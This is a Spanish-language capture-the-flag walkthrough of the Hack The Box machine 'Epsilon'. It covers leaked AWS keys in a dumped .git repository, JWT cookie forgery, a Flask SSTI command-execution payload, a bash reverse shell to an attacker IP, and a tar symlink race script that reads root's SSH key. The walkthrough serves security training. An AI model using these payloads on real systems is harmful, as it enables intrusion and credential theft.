Hack The Box — Epsilon Walkthrough
Introducción
Epsilon es una máquina Linux de dificultad media que expone un repositorio Git en el servidor web. Las credenciales de AWS se filtran en los commits de Git, lo que permite descargar el código de la función AWS Lambda. La clave secreta que se encuentra en el código fuente se puede usar para falsificar una cookie e impersonarnos a la aplicación web.
Obtendremos el acceso inicial explotando la vulnerabilidad SSTI del lado del servidor en la función de la aplicación.
Finalmente escalaremos privilegios abusando del enlace simbólico tar en un cronjob otorga acceso de root.
Enumeración
Comenzamos realizando un escaneo de todos los puertos abiertos de la maquina en el menor tiempo posible.
nmap -p- — open -sT — min-rate 5000 -vvv -n -Pn 10.10.10.134
La máquina tiene el puerto 22 (SSH), el puerto 80 (HTTP) y el puerto 5000(HTTP) abiertos. El siguiente paso será comenzar a enumerar HTTP.
Enumerando HTTP
Puerto 80
Al abrir el sitio web en el puerto 80, aparece un código de estado 403, lo que significa que no tenemos permitido el acceso al recurso. También el directorio/.gitestá prohibido. Sin embargo es posible volcar el contenido del /.git con herramientas como githack o gitdumper.
Una vez volcado podemos ver accediendo al repositorio que hay dos scripts de python: server.py y track_api_CR_148.py
Ademas tambien podemos analizar los registros realizados en el repositorio con el comando git log.
Analizando el primer registro vemos que se hicieron modificaciones en el archivo track_api_CR_148.py
git show 7cf92a7a09e523c1c667d13847c9ba22464412f3
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
new file mode 100644
index 0000000..fed7ab9
--- /dev/null
+++ b/track_api_CR_148.py
@@ -0,0 +1,36 @@
+import io
+import os
+from zipfile import ZipFile
+from boto3.session import Session
+
+
+session = Session(
+ aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+ aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+ region_name='us-east-1',
+ endpoint_url='http://cloud.epsilong.htb')
+aws_lambda = session.client('lambda')
+
+
+def files_to_zip(path):
+ for root, dirs, files in os.walk(path):
+ for f in files:
+ full_path = os.path.join(root, f)
+ archive_name = full_path[len(path) + len(os.sep):]
+ yield full_path, archive_name
+
+
+def make_zip_file_bytes(path):
+ buf = io.BytesIO()
+ with ZipFile(buf, 'w') as z:
Esto tiene toda la información importante como la clave secreta de aws, ID de clave secreta, región y URL de endpoint que ayudarán a enumerar más usando aws cli. Aquí, la URL del endpoint esta escrita como http://cloud.epsilong.htblo que probablemente sea un error tipográfico porque el último mensaje de confirmación dice Fixed Typo.
aws_access_key_id='AQLA5M37BDN6FJP76TDC'
aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A'
region_name='us-east-1'
endpoint_url='http://cloud.epsilon.htb')
Esto muestra que se está utilizando aws lambda, que es una plataforma que permite a los usuarios ejecutar código o cualquier servicio de back-end sin administrar servidores. Esto indica que se está ejecutando algún tipo de servicio de back-end con aws lambda.
Vamos a seguir investigando los otros commits.
git show b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:02:59 2021 +0000
Adding Costume Site
diff --git a/server.py b/server.py
new file mode 100644
index 0000000..dfdfa17
--- /dev/null
+++ b/server.py
@@ -0,0 +1,65 @@
+#!/usr/bin/python3
+
+import jwt
+from flask import *
+
+app = Flask(__name__)
+secret = '<secret_key>'
+
+def verify_jwt(token,key):
+ try:
+ username=jwt.decode(token,key,algorithms=['HS256',])['username']
+ if username:
+ return True
+ else:
+ return False
+ except:
+ return False
+
+@app.route("/", methods=["GET","POST"])
+def index():
+ if request.method=="POST":
+ if request.form['username']=="admin" and request.form['password']=="admin":
+ res = make_response()
+ username=request.form['username']
+ token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
server.pyTambién se agregó en este commit, aunque la secuencia de comandos completa no está disponible
server.py
#!/usr/bin/python3
import jwt
from flask import *
app = Flask(__name__)
secret = '<secret_key>'
def verify_jwt(token,key):
try:
username=jwt.decode(token,key,algorithms=['HS256',])['username']
if username:
return True
else:
return False
except:
return False
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
@app.route("/home")
def home():
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('home.html')
else:
return redirect('/',code=302)
@app.route("/track",methods=["GET","POST"])
def track():
if request.method=="POST":
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('track.html',message=True)
else:
return redirect('/',code=302)
else:
return render_template('track.html')
@app.route('/order',methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/',code=302)
app.run(debug='true')
Se trata de una aplicación Flask que define cuatro rutas: / , /home, /track y /order
@app.route("/home")
def home():
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('home.html')
else:
return redirect('/',code=302)
verify_jet usa la biblioteca PyJWT con una clave “secret” que está ofuscado en este código:
secret = '<secret_key>'
def verify_jwt(token,key):
try:
username=jwt.decode(token,key,algorithms=['HS256',])['username']
if username:
return True
else:
return False
except:
return False
Las funciones de inicio de sesión parecen sugerir que el nombre de usuario “admin” con la contraseña “admin” debería funcionar, pero como no fue así, algo debe haber cambiado con este código en comparación con el sitio actual:
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
La ruta /track tampoco requiere autenticación para GET, pero sí para POST:
@app.route("/track",methods=["GET","POST"])
def track():
if request.method=="POST":
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('track.html',message=True)
else:
return redirect('/',code=302)
else:
return render_template('track.html')
Puerto 5000
Un servidor web de python se está ejecutando en el puerto 5000. La página de principal tiene un formulario para iniciar sesión. Pero el nombre de usuario y la contraseña de server.pyadmin:admin no funcionan.
server.pytiene parte del código que codifica el token jwt para el administrador el cual se verifica más tarde para autenticarse como tal. Pero para codificar un token para el administrador, se debe conocer la clave secreta.
Vamos a enumerar mas la aplicacion web en este puerto fuzzeando directorios con wfuzz:
wfuzz -c — hc=400,404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt “http://10.10.10.134/FUZZ"
Descubrimos dos directorios de los cuales tenemos acceso en /track, accediendo a el vemos una funcion de busqueda por id, podria sernos útil mas adelante para probar algunas inyecciones.
Enumerando de AWS
Antes descubrimos una nueva direccion la cual corresponde al endpoint de AWS cloud.epsilon.htb y no es accesible desde el navegador debido a que necesitamos acceder con el cliente de AWS, lo instalaremos con los siguiente comandos:
curl “https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o “awscliv2.zip”
unzip awscliv2.zip
sudo ./aws/install
Para usar aws cli para acceder a ese endpoint en particular, se deben proporcionar unas credenciales. Ya vimos las claves de acceso secretas de aws junto con el código de clave de acceso y la región. Las credenciales se pueden proporcionar mediante el comando aws configure.
Despues de configurar aws miraremos las funciones lambda que se estan ejecutando.El comando aws lambda help brinda una lista de comandos para interactuar con Lambda. En este caso, parece apropiado comenzar con el comando list-functions:
costume_shop_v1es la función que se está ejecutando.Para obtener el código, necesito la ubicación, que puedo encontrar con get-function.
Esta salida se parece a la primera , pero agrega el campo Code, que tiene la ubicación del código de la función. Descargaremos el archivo de la ruta con wget.
Es un archivo zip al descomprimirlo hay un nuevo archivo python llamado lambda_function.py el cual contiene el valor del secret de AWS.
Explotación
Podemos suponer que quizás el mismo secret usado en esta función lambda se use para firmar el JWT para el sitio. Para confirmar esto crearemos un cookie arbitraria de administrador con python a partir de un JSON Web Tokens (JWT).
Este token sera el valor de la cookie que nos impersonara en la aplicacion web como administrador. Tambien debemos modificar el nombre de la cookie por auth ya que el script server.py asi lo requiere.
Una vez modificados estos valores si accedemos a /home accederemos como administrador
Explotacion del SSTI
Ya podemos acceder a /order donde vemos un nuevo formulario, si lo analizamos con BurpSuite el campo Select Costume es modificable tambien.
De esta manera y sabiendo que la aplicación corre Flask vamos a intentar una simple inyección SSTI.
Respuesta:
Confirmamos en la respuesta que es vulnerable a SSTI por lo que continuaremos buscando la ejecucion de comandos.
Podemos aprovechar como recurso la cheetsheet de PayloadsAllTheThings
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
Respuesta:
Ya solo queda acceder al sistema con nuestra reverse shell, usaremos una en bash.
bash -c "bash -i >& /dev/tcp/10.10.14.15/443 0>&1"
Debemos añadirle URLEncoding para que se ejecute correctamente.
Tras poner a la escucha nuestro puerto 443 y ejecutar la consulta obtendremos nuestra conexión.
Escalada de privilegios
Usamos la herramienta pspy para enumerar los cronjobs corriendo en el sistema.
Vemos que se esta ejecutando un backup, vamos a ver el contenido del script.
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
- Elimina todos los archivos y carpetas en /opt/backups.
- Crea un archivo Tar llamado /opt/backups/[date str].tar con el contenido de /var/www/app.
- Crea /opt/backups/checksum que contiene el hash SHA1 del nuevo .tar archivo.
- Duerme cinco segundos
- Cree un nuevo archivo Tar que /var/backups/web_backups contenga el primer archivo y el archivo de suma de comprobación.
- Elimina todos los archivos y carpetas de /opt/backups.
Lo importante en el codigo son los parametros que se usan en el segundo Tar -chvf
-h, - dereference follow symlinks; archive and dump the files they
El parámetro -h del comando tar se utiliza para seguir los enlaces simbólicos y almacenar los archivos a los que hacen referencia en lugar de seguir los enlaces y almacenar los archivos enlazados. Cuando se utiliza este parámetro, tar trabaja con los archivos y directorios a los que se hace referencia en los enlaces simbólicos en lugar de los enlaces en sí.
De esta manera podriamos enlazar el archivo checksum con el id_rsa de root o la bandera de root de manera que cuando se haga el backup al consultar el archivo checksum estemos consultando su archivo enlazado.
Podemos directamente alinear el archivo que queramos a checksum con ln pero mejor vamos a hacer un pequeño script para cuando se ejecute el backup nos avise
#!/bin/bash
while true; do
if [ -e /opt/backups/checksum ]; then
rm -f /opt/backups/checksum
echo "File deleted"
ln -s -f /root/.ssh/id_rsa /opt/backups/checksum
echo "Symlink created"
break
fi;
done
Ejecutamos el script y esperamos.
Nos indica que el backup se ha realizado, por lo tanto ahora debemos ir a la ruta donde lo guarda /var/backup/web_backups
Descomprimimos, accedemos al backup y vemos el checksum
Se nos guarda el valor del id_rsa de root ahora solo hay que guardar el rsa y entrar como root por ssh.